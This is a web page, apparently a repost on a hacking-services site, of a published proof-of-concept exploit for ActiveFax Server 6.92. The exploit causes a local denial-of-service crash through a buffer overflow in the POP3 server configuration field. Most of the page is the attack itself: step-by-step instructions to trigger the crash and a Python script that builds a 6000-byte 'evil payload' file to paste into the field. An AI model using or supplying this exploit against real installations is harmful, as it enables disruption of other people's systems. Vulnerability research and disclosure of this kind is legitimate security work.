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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: ActiveFax Server 6.92 Build 0316 - 'POP3 Server' Denial of Service
# Date: 2019-10-12
# Vendor Homepage: https://www.actfax.com/
# Software Link :  https://www.actfax.com/download/actfax_setup_x64_ge.exe
# Exploit Author: Achilles
# Tested Version: 6.92
# Tested on: Windows 7 x64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
 
# Steps to Produce the Crash: 
# 1.- Run python code : ActiveFax_Server.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open ActiveFaxServer.exe
# 4.- Open the Pop3 Server Config
# 5.- Press New
# 6.- Paste the content of EVIL.txt into the field: 'POP3 Server Address and Login and Password'
# 7.- Press ok Twice
# 8.- And you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"